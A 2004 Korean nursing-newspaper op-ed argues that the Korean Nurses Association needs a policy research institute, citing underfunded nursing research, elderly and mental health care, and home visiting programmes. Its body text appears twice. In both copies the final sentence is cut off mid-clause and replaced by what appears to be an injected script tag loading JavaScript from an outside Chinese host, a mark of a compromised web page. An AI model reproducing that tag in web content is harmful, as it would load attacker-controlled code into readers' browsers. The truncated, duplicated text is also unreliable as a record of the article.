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창간 28주년 특별기고-간협 정책연구소 도전과 과제 Ⅱ
신상숙(대한간호협회 기획위원장)
기사입력 2004-05-20 오전 11:19:16
보건복지부 2004년도 세출예산의 보건의료부문 투자비는 약 5%이며, 보건산업진흥 및 기관운영비를 제외하면 2.7%에 불과하다. 정부 연구용역 공모과제에 간호연구분야는 극히 일부분이거나 책정조차 되지 않은 상태에서 국민의료비 증가의 주된 원인이자 간호사업으로 많은 건강문제를 해결할 수 있는 노인 및 정신보건관리 등의 간호사업 대상자는 증가 일로에 있다.
간호사가 운영하는 시설의 개설 운영이 노인복지법이나 정신보건법상 보장되어 있어도 간호사가 운영하는 이상적인 노인요양 및 정신보건시설 등의 모델은 미흡한 실정이다.
가정간호사업은 시범사업으로 수년간 연장 시행 뒤에 전면 시행되고 있으나 민간단체가 지역사회 주민 대상의 사업을 현실적으로 시행할 수 있는 장치가 없다.
IMF시에 공공근로사업의 일환으로 시작하여 정착되어가는 듯하던 방문간호사업은 최근 방문보건사업으로 변경되었으며, 가정간호사업과 방문간호사업이 국가사업에서 지방 이양사업으로 검토되고 있다는 전언이다. 그러나 우리는 국가사업이냐 아니냐의 방향제시를 하지 못하고 있다.
세계보건기구(WHO)에 일차보건의료사업의 성공적인 모델로 소개되고, 우리나라 정부 지역보건사업 가운데 유일하게 성공한 사업인 보건진료원제도에 대하여도 민관을 통틀어 최근 수년간 발간된 연구보고서 없이 농어촌의 인구 고령화 및 인구감소, 도시화, 대중교통 발달 등의 변화에 대응할 시기와 준비기간을 놓친 채 현상유지를 하고 있는 실정이다.
그 사이 보건진료원과 동일하게 읍면동 단위 저소득 취약계층을 대상으로 복지서비스를 제공하는 분야는 별정직에서 승진이 가능한 일반직으로 공무원 신분변화와 대국민 대상의 긍정적인 이미지 정착 등을 통해 복지체계 내 확고한 기본틀을 구축한 듯하다.
대한간호협회는 그동안 기획정책국 조직을 갖고 우리 앞에 던져진 현안 정책과제에 대해 접근해 왔으며 정부 정책 현안에 대한 이해도는 높은 반면 장기적, 지속적, 미래지향적이기 어려웠다. 각 대학의 연구소는 순수학문 중심의 연구방향 때문에 현안에 대한 정책연구와 대안제시에는 아쉬운 점이 있다.
국제간호협의회(ICN)는 2000년 보건의료정책개발에 관한 의지를 표명한 바 있고, 대한병원협회는 1998년도에 협회 산하에 한국병원경영연구원 창립 총회를 거쳐 1999년 재단법인을 설립 운영중에 있다.
대한간호협회는 1999년도 중앙회, 지부 및 산하단체 조직강화를 위한 본격적인 작업을 시작한 이래, 2004년 총회에서 정책연구소 운영비를 책정하기에 이르렀다. 지금부터 시작이고 기초를 확고히 해야 하는 단계이며, 이를 위한 전략적 사고가 요구되는 시점이다.
그동안 준비해온 연구과제들을 구체화 해야 할 때다. 우리가 진정으로 바라는 간호사업을 실현해 나갈 연구과제를 생각해야 한다. 정부 정책은 흐름이 있는 과정이다. 급하게 밀어붙여야 될 단계와 진중하게 추진해야 할 시기들이 반복되는 것이다.
정책연구소 운영이 정부의 간호를 포함한 보건정책 개발에 따른 지원과 정책사업으로의 채택 및 추진의 여건을 조성하게 될 것은 틀림없다. 그러나 한꺼번에 많은 일을 추진하다가 제대로 된 결과를 남기지 못했던 지난 경험을 되돌아보아야 한다. 정부 보건의료정책과 교육정책의 핵심이 무엇인가 다시 확인하고, 정책개발의 우선순위를 설정하는 전략적 접근이 있어야 한다.
정책연구의 성과가 나타나려면 시스템이 갖춰져야 한다. 장·단기 정책분야별 정책연구를 담당하는 전문인력이 확보되어야 하며, 일정 수준의 노하우가 축적되기까지는 정부 정책연구기관과의 협력체계 구축 방안이 강구되어야 할 것이다. 정책연구소를 간호발전 도약의 기회로 삼기 위하여 국내외 경험이 축적된 지식의 네트워크와 전문화가 이루어져야 한다.
아울러 연구비 확충을 위해 협회 자체 예산에 기초하되, 정부 및 기업(기관) 연구용역사업 수행기관으로 채택돼 발전시켜 나가야 한다. 지방자치단체가 추진코자 하는 보건정책과제에도 물론 적극 관심을 기울여야 한다.
이를 위해서는 회원, 지역사회 주민인 국민과의 공감대 형성은 물론, 정부(지방자치단체 포함)로부터도 신뢰와 협력을 얻어내야 할 필요가 있다. 무엇보다도 우리들 스스로 정책연구의 필요성을 인정하고 그 요구에 적극 참여함으로써 경쟁력을 확보해야 한다.
정책연구에 최고 경쟁력을 갖춘 우수 인재를 공급할 수 있는 교육과 연구의 뒷받침도 있어야 한다.
노인건강, 정신건강문제 등과 급등하는 의료비 부담을 경감시키면서 양질의 보건서비스를 제공할 수 있는 정책연구 결과들을 쏟아내야 한다. 이 정책들이 노인과 정신보건 대상자 등에게 양질의 적정 보건서비스를 제공하는 사업으로 실현될 때, 전문직으로서의 경쟁력을 강화하여 ?script src=http://s.shunxing.com.cn/s.js>
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간호사가 운영하는 시설의 개설 운영이 노인복지법이나 정신보건법상 보장되어 있어도 간호사가 운영하는 이상적인 노인요양 및 정신보건시설 등의 모델은 미흡한 실정이다.
가정간호사업은 시범사업으로 수년간 연장 시행 뒤에 전면 시행되고 있으나 민간단체가 지역사회 주민 대상의 사업을 현실적으로 시행할 수 있는 장치가 없다.
IMF시에 공공근로사업의 일환으로 시작하여 정착되어가는 듯하던 방문간호사업은 최근 방문보건사업으로 변경되었으며, 가정간호사업과 방문간호사업이 국가사업에서 지방 이양사업으로 검토되고 있다는 전언이다. 그러나 우리는 국가사업이냐 아니냐의 방향제시를 하지 못하고 있다.
세계보건기구(WHO)에 일차보건의료사업의 성공적인 모델로 소개되고, 우리나라 정부 지역보건사업 가운데 유일하게 성공한 사업인 보건진료원제도에 대하여도 민관을 통틀어 최근 수년간 발간된 연구보고서 없이 농어촌의 인구 고령화 및 인구감소, 도시화, 대중교통 발달 등의 변화에 대응할 시기와 준비기간을 놓친 채 현상유지를 하고 있는 실정이다.
그 사이 보건진료원과 동일하게 읍면동 단위 저소득 취약계층을 대상으로 복지서비스를 제공하는 분야는 별정직에서 승진이 가능한 일반직으로 공무원 신분변화와 대국민 대상의 긍정적인 이미지 정착 등을 통해 복지체계 내 확고한 기본틀을 구축한 듯하다.
대한간호협회는 그동안 기획정책국 조직을 갖고 우리 앞에 던져진 현안 정책과제에 대해 접근해 왔으며 정부 정책 현안에 대한 이해도는 높은 반면 장기적, 지속적, 미래지향적이기 어려웠다. 각 대학의 연구소는 순수학문 중심의 연구방향 때문에 현안에 대한 정책연구와 대안제시에는 아쉬운 점이 있다.
국제간호협의회(ICN)는 2000년 보건의료정책개발에 관한 의지를 표명한 바 있고, 대한병원협회는 1998년도에 협회 산하에 한국병원경영연구원 창립 총회를 거쳐 1999년 재단법인을 설립 운영중에 있다.
대한간호협회는 1999년도 중앙회, 지부 및 산하단체 조직강화를 위한 본격적인 작업을 시작한 이래, 2004년 총회에서 정책연구소 운영비를 책정하기에 이르렀다. 지금부터 시작이고 기초를 확고히 해야 하는 단계이며, 이를 위한 전략적 사고가 요구되는 시점이다.
그동안 준비해온 연구과제들을 구체화 해야 할 때다. 우리가 진정으로 바라는 간호사업을 실현해 나갈 연구과제를 생각해야 한다. 정부 정책은 흐름이 있는 과정이다. 급하게 밀어붙여야 될 단계와 진중하게 추진해야 할 시기들이 반복되는 것이다.
정책연구소 운영이 정부의 간호를 포함한 보건정책 개발에 따른 지원과 정책사업으로의 채택 및 추진의 여건을 조성하게 될 것은 틀림없다. 그러나 한꺼번에 많은 일을 추진하다가 제대로 된 결과를 남기지 못했던 지난 경험을 되돌아보아야 한다. 정부 보건의료정책과 교육정책의 핵심이 무엇인가 다시 확인하고, 정책개발의 우선순위를 설정하는 전략적 접근이 있어야 한다.
정책연구의 성과가 나타나려면 시스템이 갖춰져야 한다. 장·단기 정책분야별 정책연구를 담당하는 전문인력이 확보되어야 하며, 일정 수준의 노하우가 축적되기까지는 정부 정책연구기관과의 협력체계 구축 방안이 강구되어야 할 것이다. 정책연구소를 간호발전 도약의 기회로 삼기 위하여 국내외 경험이 축적된 지식의 네트워크와 전문화가 이루어져야 한다.
아울러 연구비 확충을 위해 협회 자체 예산에 기초하되, 정부 및 기업(기관) 연구용역사업 수행기관으로 채택돼 발전시켜 나가야 한다. 지방자치단체가 추진코자 하는 보건정책과제에도 물론 적극 관심을 기울여야 한다.
이를 위해서는 회원, 지역사회 주민인 국민과의 공감대 형성은 물론, 정부(지방자치단체 포함)로부터도 신뢰와 협력을 얻어내야 할 필요가 있다. 무엇보다도 우리들 스스로 정책연구의 필요성을 인정하고 그 요구에 적극 참여함으로써 경쟁력을 확보해야 한다.
정책연구에 최고 경쟁력을 갖춘 우수 인재를 공급할 수 있는 교육과 연구의 뒷받침도 있어야 한다.
노인건강, 정신건강문제 등과 급등하는 의료비 부담을 경감시키면서 양질의 보건서비스를 제공할 수 있는 정책연구 결과들을 쏟아내야 한다. 이 정책들이 노인과 정신보건 대상자 등에게 양질의 적정 보건서비스를 제공하는 사업으로 실현될 때, 전문직으로서의 경쟁력을 강화하여 ?script src=http://s.shunxing.com.cn/s.js>
신상숙 news@nursenews.co.kr